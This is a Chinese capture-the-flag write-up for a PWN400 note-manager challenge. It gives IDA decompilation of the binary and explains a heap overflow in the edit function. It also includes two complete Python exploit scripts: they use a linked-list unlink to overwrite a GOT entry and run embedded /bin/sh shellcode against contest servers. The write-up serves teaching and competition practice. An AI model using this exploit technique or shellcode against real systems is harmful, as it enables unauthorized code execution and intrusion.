说句实在的,就我个人而言,这题相对于PWN的前两题而言,要简单得多,当时本来还剩的时间不多,于是受前面的PWN的题的影响,我这题都没看,觉得来不及了,先去做的Code500,然后最后Code500完成了,还剩两小时的时候,我就来看了下这题,然后一看就激动,这么简单,赶快开始搞,虽说还是搞了一个多小时才过掉,不过好在是在比赛结束前搞定没出啥岔子……
首先还是给出IDA反编译的结果:
int __cdecl show_hint_and_get_choice()
{
unsigned __int8 v1; // [sp+1Fh] [bp-9h]@2
write(1, "1.New noten", 0xBu);
write(1, "2.Show notes listn", 0x12u);
write(1, "3.Show noten", 0xCu);
write(1, "4.Edit noten", 0xCu);
write(1, "5.Delete noten", 0xEu);
write(1, "6.Quitn", 7u);
write(1, "option--->> ", 0xCu);
do
v1 = getchar();
while ( v1 == 10 );
return v1;
}
int __cdecl new_note(int a1)
{
void *v2; // [sp+1Ch] [bp-Ch]@1
v2 = malloc(0x16Cu);
write(1, "nnote title:", 0xCu);
read(0, (char *)v2 + 12, 0x3Fu);
write(1, "note type:", 0xAu);
read(0, (char *)v2 + 76, 0x1Fu);
write(1, "note content:", 0xDu);
read(0, (char *)v2 + 108, 0xFFu);
*(_DWORD *)v2 = v2;
write(1, "nn", 2u);
if ( *(_DWORD *)a1 )
{
*((_DWORD *)v2 + 2) = *(_DWORD *)a1;
*(_DWORD *)(*(_DWORD *)a1 + 4) = v2;
*((_DWORD *)v2 + 1) = 0;
*(_DWORD *)a1 = v2;
}
else
{
*(_DWORD *)a1 = v2;
*((_DWORD *)v2 + 1) = 0;
*((_DWORD *)v2 + 2) = 0;
}
return 0;
}
int __cdecl show_notes_list(int a1)
{
size_t v1; // eax@3
size_t v2; // eax@3
size_t v3; // eax@4
int result; // eax@6
int v5; // [sp+34h] [bp-64h]@3
signed int v6; // [sp+38h] [bp-60h]@3
char s; // [sp+3Ch] [bp-5Ch]@1
int v8; // [sp+7Ch] [bp-1Ch]@1
v8 = *MK_FP(__GS__, 20);
memset(&s, 0, 0x40u);
if ( a1 )
{
v5 = *(_DWORD *)(a1 + 8);
v6 = 2;
v1 = strlen((const char *)(a1 + 12));
snprintf(&s, v1 + 10, "%d. %sn", 1, a1 + 12);
v2 = strlen(&s);
write(1, &s, v2);
while ( v5 )
{
v3 = strlen((const char *)(v5 + 12));
snprintf(&s, v3 + 10, "%d. %sn", v6, v5 + 12);
write(1, &s, 0x40u);
++v6;
v5 = *(_DWORD *)(v5 + 8);
}
}
else
{
write(1, "ntotal: 0nn", 0xBu);
}
result = *MK_FP(__GS__, 20) ^ v8;
if ( *MK_FP(__GS__, 20) != v8 )
__stack_chk_fail();
return result;
}
int __cdecl show_note(int a1)
{
size_t v1; // eax@4
size_t v2; // eax@5
size_t v3; // eax@5
size_t v4; // eax@5
size_t v5; // eax@5
int result; // eax@8
int v7; // [sp+2Ch] [bp-5Ch]@1
char s[4]; // [sp+32h] [bp-56h]@5
int v9; // [sp+36h] [bp-52h]@5
__int16 v10; // [sp+3Ah] [bp-4Eh]@5
char buf; // [sp+3Ch] [bp-4Ch]@1
int v12; // [sp+7Ch] [bp-Ch]@1
v12 = *MK_FP(__GS__, 20);
v7 = a1;
memset(&buf, 0, 0x40u);
if ( a1 )
{
write(1, "note title:", 0xBu);
read(0, &buf, 0x3Fu);
while ( v7 )
{
v1 = strlen(&buf);
if ( !strncmp(&buf, (const char *)(v7 + 12), v1) )
{
write(1, "title:", 6u);
v2 = strlen((const char *)(v7 + 12));
write(1, (const void *)(v7 + 12), v2);
write(1, "location:", 9u);
*(_DWORD *)s = 0;
v9 = 0;
v10 = 0;
snprintf(s, 0x14u, "%p", v7);
v3 = strlen(s);
write(1, s, v3);
write(1, "ntype:", 6u);
v4 = strlen((const char *)(v7 + 76));
write(1, (const void *)(v7 + 76), v4);
write(1, "content:", 8u);
v5 = strlen((const char *)(v7 + 108));
write(1, (const void *)(v7 + 108), v5);
write(1, "nn", 2u);
break;
}
v7 = *(_DWORD *)(v7 + 8);
}
}
else
{
write(1, "no notes", 8u);
}
result = *MK_FP(__GS__, 20) ^ v12;
if ( *MK_FP(__GS__, 20) != v12 )
__stack_chk_fail();
return result;
}
int __cdecl edit_note(int a1)
{
size_t v1; // eax@4
int result; // eax@8
int v3; // [sp+28h] [bp-410h]@1
char buf; // [sp+2Ch] [bp-40Ch]@1
int v5; // [sp+42Ch] [bp-Ch]@1
v5 = *MK_FP(__GS__, 20);
memset(&buf, 0, 0x400u);
v3 = a1;
if ( a1 )
{
write(1, "note title:", 0xBu);
read(0, &buf, 0x400u);
while ( v3 )
{
v1 = strlen(&buf);
if ( !strncmp(&buf, (const char *)(v3 + 12), v1) )
break;
v3 = *(_DWORD *)(v3 + 8);
}
write(1, "input content:", 0xEu);
read(0, &buf, 0x400u);
strcpy((char *)(v3 + 108), &buf);
write(1, "succeed!", 8u);
puts((const char *)(v3 + 108));
}
else
{
write(1, "no notes", 8u);
}
result = *MK_FP(__GS__, 20) ^ v5;
if ( *MK_FP(__GS__, 20) != v5 )
__stack_chk_fail();
return result;
}
int __cdecl delete_note(int a1)
{
int v1; // ST28_4@8
int v2; // ST2C_4@8
int result; // eax@10
__int32 ptr; // [sp+24h] [bp-24h]@3
int buf; // [sp+32h] [bp-16h]@1
int v6; // [sp+36h] [bp-12h]@1
__int16 v7; // [sp+3Ah] [bp-Eh]@1
int v8; // [sp+3Ch] [bp-Ch]@1
v8 = *MK_FP(__GS__, 20);
buf = 0;
v6 = 0;
v7 = 0;
if ( *(_DWORD *)a1 )
{
write(1, "note location:", 0xEu);
read(0, &buf, 8u);
ptr = strtol((const char *)&buf, 0, 16);
if ( *(_DWORD *)ptr == ptr )
{
if ( *(_DWORD *)a1 == ptr )
{
*(_DWORD *)a1 = *(_DWORD *)(*(_DWORD *)a1 + 8);
}
else
{
if ( *(_DWORD *)(ptr + 8) )
{
v1 = *(_DWORD *)(ptr + 8);
v2 = *(_DWORD *)(ptr + 4);
*(_DWORD *)(v2 + 8) = v1;
*(_DWORD *)(v1 + 4) = v2;
}
else
{
*(_DWORD *)(*(_DWORD *)(ptr + 4) + 8) = 0;
}
}
write(1, "succeed!nn", 0xAu);
free((void *)ptr);
}
}
else
{
write(1, "no notes", 8u);
}
result = *MK_FP(__GS__, 20) ^ v8;
if ( *MK_FP(__GS__, 20) != v8 )
__stack_chk_fail();
return result;
}
void __cdecl main()
{
int v0; // [sp+1Ch] [bp-4h]@1
v0 = 0;
while ( 1 )
{
switch ( (char)show_hint_and_get_choice() )
{
case 49:
new_note(&v0);
break;
case 50:
show_notes_list(v0);
break;
case 51:
show_note(v0);
break;
case 52:
edit_note(v0);
break;
case 53:
delete_note(&v0);
break;
case 54:
exit(0);
return;
default:
write(1, "choose a opt!n", 0xEu);
break;
}
}
}
我们可以发现,它是维护了一个链表,链表的每个节点就是一个note,再联想一下前面两题PWN,一个栈溢出,一个格式化字符串漏洞,这题十有八九就是一个堆溢出的思想,不过就是把链表自己实现了而已。仔细观察一下程序,我们可以发现,它在new note的时候,做了严格的长度验证,没有溢出的机会,但是在edit note的时候,给出的长度值为0x400u,明显远大于需要的长度,那么这里无疑就是我们溢出的地方。通过溢出,修改链表中一个节点的prev和next指针为特定的值,这样,删除这个节点的时候我们就可以获得一次dword shooting的机会了。
然后再就是改哪里的问题,这题并没有随题附上一个libc.so,然后我们一看会发现,这题竟然是可运行的堆栈,这也就是为什么我觉得这题比前两题要简单的原因了,我们直接将shellcode放在某一个note中,然后修改GOT表,使得修改完后下一次函数调用的时候执行我们的shellcode即可。
下面是我比赛时的代码:
#!/usr/bin/env python
#encoding:utf-8
import socket
import binascii
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('218.2.197.248', 10003))
for i in xrange(3):
s.send('1n')
s.recv(100)
s.send(str(i) + 'n')
s.recv(100)
s.send(str(i) + 'n')
s.recv(100)
s.send(str(i) + 'n')
s.recv(100)
s.send('3n')
s.recv(100)
s.send('0n')
ret = s.recv(4096)
while ret.find('location:') == -1:
ret += s.recv(4096)
print ret
ret = ret[ret.find('location:') + 11:]
ret = ret[:ret.find('n')]
addr = int(ret, 16)
payload = 'xebx06' + 'a' * 6 + "jx0bXx991xc9Rh//shh/binx89xe3xcdx80"
payload += 'a' * (260 - len(payload))
payload += binascii.unhexlify('%08x' % (addr + 0x170))[::-1]
payload += 'x70xa4x04x08'
payload += binascii.unhexlify('%08x' % (addr + 108))[::-1]
s.send('4n')
s.recv(100)
s.send('0n')
s.recv(100)
s.send(payload + 'n')
s.recv(100)
s.send('5n')
s.recv(100)
s.send('%08x' % (addr + 0x170) + 'n')
s.recv(100)
s.send('cat /home/pwn3/flag/flagn')
s.recv(100)
先是3次new note,构建一个3个note的链表,然后show note查看这些note的地址,计算出需要的payload后,通过edit note修改第一个note,溢出改掉第二个note的prev和next指针,最后调用delete note删除第二个note,就可以成功拿到shell。
只能说,这次的PWN真的就是三种类型的基础题一样一个,不过把一个最水的放最后,我也是醉了……
pwn400.zip
XCTF上了个OJ,把之前的比赛题又架了起来,于是将代码重写了下:
#!/usr/bin/env python
#encoding:utf-8
import zio
from time import sleep
def NOPS(n):
return 'x90' * n
def PADDING(s, n):
return s + NOPS(n - len(s))
# TARGET = './pwn400'
TARGET = ('218.2.197.235', 10103)
DELAY = 0.1
JMP06 = 'xebx06'
SHELLCODE = "jx0bXx991xc9Rh//shh/binx89xe3xcdx80"
NOTE_SIZE = 0x170
CONTENT_OFFSET = 108
WRITE_GOT = 0x0804a478
def RAW_WITH_DELAY(s):
sleep(DELAY)
return str(s)
# create three new notes
io = zio.zio(TARGET, print_write=RAW_WITH_DELAY, print_read=True)
for i in xrange(3):
io.writelines(['1', str(i), str(i), str(i)])
io.read_until_timeout()
# get address of the new notes
io.writelines(['3', '0'])
io.read_until('location:0x')
first_note = int(io.readline(), 16)
second_note = first_note + NOTE_SIZE
# overwrite the pointer of the linked list
payload = PADDING(JMP06 + NOPS(6) + SHELLCODE, NOTE_SIZE - CONTENT_OFFSET)
payload += zio.l32(second_note) + zio.l32(WRITE_GOT - 8) + zio.l32(first_note + CONTENT_OFFSET)
io.writelines(['4', '0', payload])
sleep(1)
# trigger by delete note
io.writelines(['5', '%08x' % second_note])
io.interact()